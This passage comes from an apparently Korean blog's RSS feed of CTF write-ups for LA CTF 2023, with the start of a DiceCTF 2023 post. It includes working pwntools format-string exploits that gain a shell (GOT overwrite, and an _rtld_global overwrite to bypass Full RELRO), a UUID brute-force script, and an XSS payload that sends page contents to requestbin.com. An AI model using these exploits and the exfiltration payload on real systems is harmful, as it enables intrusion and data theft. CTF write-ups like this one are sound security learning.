payload += f&quot;%{256 - offset_1 + offset_2 - 4}c&quot;.encode() + tmp_2 * b&quot;A&quot; # system+1
payload += b&quot;%15$hhnA&quot;                                                  # overwrite printf+1 GOT -&amp;gt; system 1bit
payload += f&quot;%{256 - offset_2 - 4 + offset_3}c&quot;.encode() + tmp_3 * b&quot;A&quot;
payload += b&quot;%16$hhnA&quot;
payload += p64(main_called)
payload += p64(e.got[&quot;printf&quot;])
payload += p64(e.got[&quot;printf&quot;] + 1)
payload += p64(e.got[&quot;printf&quot;] + 2)

p.sendlineafter(b&quot;Lyrics: &quot;, payload)

p.sendline(b&quot;/bin/sh&quot;)

p.interactive()

# lactf{printf_gave_me_up_and_let_me_down}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4. [pwn] rut-roh-relro&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;309&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s3VEL/btrZa5PYcyT/iujQ5OAkbmfDVjkS9cunnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s3VEL/btrZa5PYcyT/iujQ5OAkbmfDVjkS9cunnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s3VEL/btrZa5PYcyT/iujQ5OAkbmfDVjkS9cunnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs3VEL%2FbtrZa5PYcyT%2FiujQ5OAkbmfDVjkS9cunnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;309&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;309&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 Cheshire님과 함께 고민하여 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 문제와 동일하게 fsb를 통해 문제를 해결해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676345660935&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(void) {
    setbuf(stdout, NULL);
    puts(&quot;What would you like to post?&quot;);
    char buf[512];
    fgets(buf, 512, stdin);
    printf(&quot;Here's your latest post:\n&quot;);
    printf(buf);
    printf(&quot;\nWhat would you like to post?\n&quot;);
    fgets(buf, 512, stdin);
    printf(buf);
    printf(&quot;\nYour free trial has expired. Bye!\n&quot;);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 이 바이너리는 GOT를 overwrite할 수 없다. 이렇게 Full RELRO가 적용되어 있어도 우회할 수 있는 방법이 있는데, `rtld_global` 구조체에 `_dl_rtld_lock_recursive`와 `dl_load_lock`을 system 함수로 overwrite하면 프로그램이 종료될때 실행되어 shell을 획득할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;476&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddFqgD/btrZa6g53hK/KWlyeC1jh4wC73KRiHSNmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddFqgD/btrZa6g53hK/KWlyeC1jh4wC73KRiHSNmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddFqgD/btrZa6g53hK/KWlyeC1jh4wC73KRiHSNmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddFqgD%2FbtrZa6g53hK%2FKWlyeC1jh4wC73KRiHSNmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;146&quot; data-origin-width=&quot;476&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람들의 풀이를 보니까, 간단하게 fsb로 libc_base와 stack 주소를 leak하여 return 주소에 one_gadget을 넣어 쉽게 해결했다. &lt;a href=&quot;https://www.youtube.com/watch?v=K5sTGQPs04M&quot;&gt;https://www.youtube.com/watch?v=K5sTGQPs04M&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=K5sTGQPs04M&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/fcged/hyRCXCxNVX/0HizVdA5E00IaFvP51rBHk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/K5sTGQPs04M&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼, 아래 payload로 local에서는 성공적으로 shell을 획득했지만, remote에서는 획득하진 못했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같이 문제를 풀었던 분이 브포로 풀었다고 했는데,, 나중에 payload를 봐야겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1676346398863&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.arch = 'amd64'
context.log_level = &quot;debug&quot;
p=process(&quot;rut_roh_relro&quot;)
# p = remote(&quot;lac.tf&quot;, &quot;31134&quot;)
e=ELF(&quot;rut_roh_relro&quot;)
libc=ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
ld=ELF(&quot;/lib64/ld-linux-x86-64.so.2&quot;)

if len(sys.argv) != 1:
    pie_base = p.libs()[&quot;/home/universe/lactf/rut-roh-relro/rut_roh_relro&quot;]
    script = f&quot;&quot;&quot;
        b *{pie_base + e.symbols['main'] + 156}
    &quot;&quot;&quot;
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

code_base_payload  = &quot;%10$p&quot;
code_base_payload += &quot;%65$p&quot;
code_base_payload += &quot;%71$p&quot;
p.sendlineafter(&quot;?\n&quot;, code_base_payload)

p.recvuntil(&quot;Here's your latest post:\n&quot;)

rtld_global = int(p.recvn(14),16)-2440
_dl_rtld_lock_recursive = rtld_global + 3848
dl_load_lock  = rtld_global + 2312
libc_csu_init = int(p.recvn(14),16)
libc_start_main = int(p.recvn(14),16)-243
code_base = libc_csu_init-e.symbols['__libc_csu_init']
libc_base = libc_start_main-libc.symbols['__libc_start_main']
ld_base = rtld_global-ld.symbols['_rtld_global']
main = code_base+e.symbols['main']
system = libc_base+libc.symbols['system']
binsh = libc_base+0x1B45BD

log.info(f&quot;_rtld_global: {hex(rtld_global)}&quot;)
log.info(f&quot;__libc_csu_init: {hex(libc_csu_init)}&quot;)
log.info(f&quot;code base: {hex(code_base)}&quot;)
log.info(f&quot;libc base: {hex(libc_base)}&quot;)
log.info(f&quot;ld base: {hex(ld_base)}&quot;)
log.info(f&quot;main: {hex(main)}&quot;)
log.info(f&quot;system: {hex(system)}&quot;)
log.info(f&quot;/bin/sh: {hex(binsh)}&quot;)
log.info(f&quot;_dl_rtld_lock_recursive: {hex(_dl_rtld_lock_recursive)}&quot;)
log.info(f&quot;dl_load_lock: {hex(dl_load_lock)}&quot;)

overwrite = system &amp;amp; 0x000000ffffff
offset_1 = overwrite &amp;amp; 0xff
offset_2 = (overwrite &amp;amp; 0xff00) &amp;gt;&amp;gt; 8
offset_3 = (overwrite &amp;amp; 0xff0000) &amp;gt;&amp;gt; 16

payload  = f&quot;%{0x2f - 4}c&quot;.encode() + b&quot;A&quot; * 4
payload += b&quot;%26$hhnA&quot;
payload += f&quot;%{256 - 0x2f - 4 + 0x62}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%27$hhnA&quot;
payload += f&quot;%{256 - 0x62 - 4 + 0x69}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%28$hhnA&quot;
payload += f&quot;%{256 - 0x69 - 4 + 0x6e}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%29$hhnA&quot;
payload += f&quot;%{256 - 0x6e - 4 + 0x2f}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%30$hhnA&quot;
payload += f&quot;%{256 - 0x2f - 4 + 0x73}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%31$hhnA&quot;
payload += f&quot;%{256 - 0x73 - 4 + 0x68}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%32$hhnA&quot;                                          # fin dl_load_lock overwrite
payload += f&quot;%{256 - 0x68 - 4 + offset_1}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%33$hhnA&quot;
payload += f&quot;%{256 - offset_1 - 4 + offset_2}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%34$hhnA&quot;
payload += f&quot;%{256 - offset_2 - 4 + offset_3}c&quot;.encode() + b&quot;A&quot; * 3
payload += b&quot;%35$hhnA&quot;
payload += p64(dl_load_lock)
payload += p64(dl_load_lock+1)
payload += p64(dl_load_lock+2)
payload += p64(dl_load_lock+3)
payload += p64(dl_load_lock+4)
payload += p64(dl_load_lock+5)
payload += p64(dl_load_lock+6)
payload += p64(_dl_rtld_lock_recursive)
payload += p64(_dl_rtld_lock_recursive+1)
payload += p64(_dl_rtld_lock_recursive+2)

p.sendlineafter(&quot;?\n&quot;, payload)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;5. [web] uuid hell&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nrirI/btrZk8RX1yy/4ArSDnfezTn8USbjsBZJ8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nrirI/btrZk8RX1yy/4ArSDnfezTn8USbjsBZJ8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nrirI/btrZk8RX1yy/4ArSDnfezTn8USbjsBZJ8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnrirI%2FbtrZk8RX1yy%2F4ArSDnfezTn8USbjsBZJ8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;933&quot; height=&quot;292&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대회 당일, 포너블에 잡혀있어 대회가 끝난 뒤에 문제를 봤는데, 브포로 uuid v1 값을 알아내는 문제였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30분만에 풀었는데, flag를 제출하지 못해 아쉬웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;uuid v1은 timestamp 기준으로 생성하는 함수이다.&lt;/p&gt;
&lt;pre id=&quot;code_1676377219029&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

app.get('/', (req, res) =&amp;gt; {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie(&quot;id&quot;, id);
        useruuids.push(id);
        if (useruuids.length &amp;gt; 50) {
            useruuids.shift();
        }
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }

    res.send(&quot;You are logged in as &quot; + id + &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot; + getUsers());
});

app.post('/createadmin', (req, res) =&amp;gt; {

    const adminid = randomUUID();
    adminuuids.push(adminid);
    if (adminuuids.length &amp;gt; 50) {
        adminuuids.shift();
    }
    res.send(&quot;Admin account created.&quot;)
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin의 uuid 값을 알아야 flag를 획득할 수 있기 때문에, 일반 사용자의 uuid 값 생성 직후 admin uuid를 생성해 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 브포로 admin의 uuid 값을 찾는 payload를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676377785505&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const first = &quot;a29e5c30&quot;
const crypto = require('crypto');
const cmp = &quot;94c1481d868f9c2bcda23e46f9ed02ec&quot;;

for(let i = 0; i&amp;lt;0xffffffff; i++){
    let result = `${(parseInt(first, 16) + i).toString(16)}-ac28-11ed-aa64-67696e6b6f69`;
    let hash = crypto.createHash('md5').update(&quot;admin&quot; + result).digest(&quot;hex&quot;);

    if(hash === cmp){
        console.log(result);
        break;
    }
}

// lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctftime에 올라온 롸업에는 uuid v1에 취약점을 이용하여 풀긴 했는데,, 한번 읽어봐야겠다&lt;/p&gt;
&lt;figure id=&quot;og_1676378562305&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CTFtime.org / LA CTF 2023 / uuid hell / Writeup&quot; data-og-description=&quot;# uuid hell ## Overview - Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆ - 165 solves / 391 points ## Background UUIDs are the best! I love them (if you couldn't tell)! Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf) ![](htt&quot; data-og-host=&quot;ctftime.org&quot; data-og-source-url=&quot;https://ctftime.org/writeup/36173&quot; data-og-url=&quot;https://ctftime.org/writeup/36173&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://ctftime.org/writeup/36173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ctftime.org/writeup/36173&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CTFtime.org / LA CTF 2023 / uuid hell / Writeup&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;# uuid hell ## Overview - Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆ - 165 solves / 391 points ## Background UUIDs are the best! I love them (if you couldn't tell)! Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf) ![](htt&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ctftime.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;6. [web] uuid hell&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce2Wbg/btrZhSpE72m/71F0fLxghL0DAKcMNtO5E0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce2Wbg/btrZhSpE72m/71F0fLxghL0DAKcMNtO5E0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce2Wbg/btrZhSpE72m/71F0fLxghL0DAKcMNtO5E0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce2Wbg%2FbtrZhSpE72m%2F71F0fLxghL0DAKcMNtO5E0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;322&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 csp를 우회하여 flag를 획득하는 문제이다.&lt;/p&gt;
&lt;pre id=&quot;code_1676392823493&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require(&quot;express&quot;);
const path = require(&quot;path&quot;);
const { v4: uuid } = require(&quot;uuid&quot;);
const cookieParser = require(&quot;cookie-parser&quot;);

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || &quot;placeholder&quot;;

const app = express();

const reports = new Map();

let cleanup = [];

setInterval(() =&amp;gt; {
    const now = Date.now();
    let i = cleanup.findIndex(x =&amp;gt; now &amp;lt; x[1]);
    if (i === -1) {
        i = cleanup.length;
    }
    for (let j = 0; j &amp;lt; i; j ++) {
        reports.delete(cleanup[j][0]);
    }
    cleanup = cleanup.slice(i);
}, 1000 * 60);

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

app.get(&quot;/flag&quot;, (req, res) =&amp;gt; {
    res.status(400).send(&quot;you have to POST the flag this time &amp;gt;:)&quot;);
});

app.post(&quot;/flag&quot;, (req, res) =&amp;gt; {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send(&quot;no hacking allowed&quot;);
    }
});

app.use((req, res, next) =&amp;gt; {
    res.set(
        &quot;Content-Security-Policy&quot;,
        &quot;default-src 'none'; script-src 'unsafe-inline'&quot;
    );
    next();
});

app.post(&quot;/report&quot;, (req, res) =&amp;gt; {
    res.type(&quot;text/plain&quot;);
    const crime = req.body.crime;
    if (typeof crime !== &quot;string&quot;) {
        res.status(400).send(&quot;no crime provided&quot;);
        return;
    }
    if (crime.length &amp;gt; 2048) {
        res.status(400).send(&quot;our servers aren't good enough to handle that&quot;);
        return;
    }
    const id = uuid();
    reports.set(id, crime);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.redirect(&quot;/report/&quot; + id);
});

app.get(&quot;/report/:id&quot;, (req, res) =&amp;gt; {
    if (reports.has(req.params.id)) {
        res.type(&quot;text/html&quot;).send(reports.get(req.params.id));
    } else {
        res.type(&quot;text/plain&quot;).status(400).send(&quot;report doesn't exist&quot;);
    }
});

app.get(&quot;/&quot;, (req, res) =&amp;gt; {
    res.sendFile(path.join(__dirname, &quot;index.html&quot;));
});

app.listen(port, () =&amp;gt; {
    console.log(`Listening on port ${port}`);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP를 보면 `script-src` directive는 `unsafe-inline`을 허용해 주고 있다. 반면에 `default-src`의 directive는 `none` 이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 획득하기 위해서는 POST 방식으로 fetch등 요청을 보내야 하지만,&amp;nbsp; `default-src none` 이기 때문에 자동적으로 `connect-src none` 설정이 되어 fetch 요청 등이 차단된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 우회하는 방법은 `window.open` 과 `window.opener` 를 사용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 2개의 payload가 필요한데, 첫번째 payload는 `window.open` 을 사용하여 두번째 payload 새창을 띄우는 코드를 작성하고, 이후에 /flag로 POST 방식으로 요청을 보내는 submit payload를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676393143838&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot; action=&quot;/flag&quot;&amp;gt;
&amp;lt;script&amp;gt;
	window.open(&quot;/report/second-report-id&quot;, target=&quot;_blank&quot;);
    document.forms[0].submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 payload의 `window.open()` 함수를 통해 새창으로 열린 두번째 payload는 `window.opener` 를 통해 부모 DOM에 접근하여 /flag 페이지의 내용을 가져오는 payload를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676393355400&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
	setTimeout(() =&amp;gt; {
    	location.href=`https://requestbin.com/?flag=${window.opener.document.documentElement.outerHTML}`;
    }, 200);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}`&lt;/p&gt;</description>
      <category> CTF</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/253</guid>
      <comments>https://universe-blog.tistory.com/entry/lactf-2023-writeup#entry253comment</comments>
      <pubDate>Tue, 14 Feb 2023 12:47:35 +0900</pubDate>
    </item>
    <item>
      <title>Dicectf 2023 writeup</title>
      <link>https://universe-blog.tistory.com/entry/Dicectf-2023-writeup</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;대회 당일날 웹 한문제 밖에 못 풀었지만, 이후 writeup을 보고 정리하고자 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cm42CU/btrYzqzMGuB/w9luRzDyAMGIKLpqOG7gvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cm42CU/btrYzqzMGuB/w9luRzDyAMGIKLpqOG7gvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cm42CU/btrYzqzMGuB/w9luRzDyAMGIKLpqOG7gvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcm42CU%2FbtrYzqzMGuB%2Fw9luRzDyAMGIKLpqOG7gvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;526&quot; height=&quot;296&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. recursive-csp&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cu41r/btrYz08wlAO/B7jxDOdfpA5QG1QgPSQV5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cu41r/btrYz08wlAO/B7jxDOdfpA5QG1QgPSQV5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cu41r/btrYz08wlAO/B7jxDOdfpA5QG1QgPSQV5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCu41r%2FbtrYz08wlAO%2FB7jxDOdfpA5QG1QgPSQV5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;295&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;295&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제는 GET 파라미터로 전달한 값을 그대로 출력하여 XSS 가 가능하다. 하지만, 이 값을 암호화 하여 csp 정책에 들어가게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1675845487083&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
  if (isset($_GET[&quot;source&quot;])) highlight_file(__FILE__) &amp;amp;&amp;amp; die();

  $name = &quot;world&quot;;
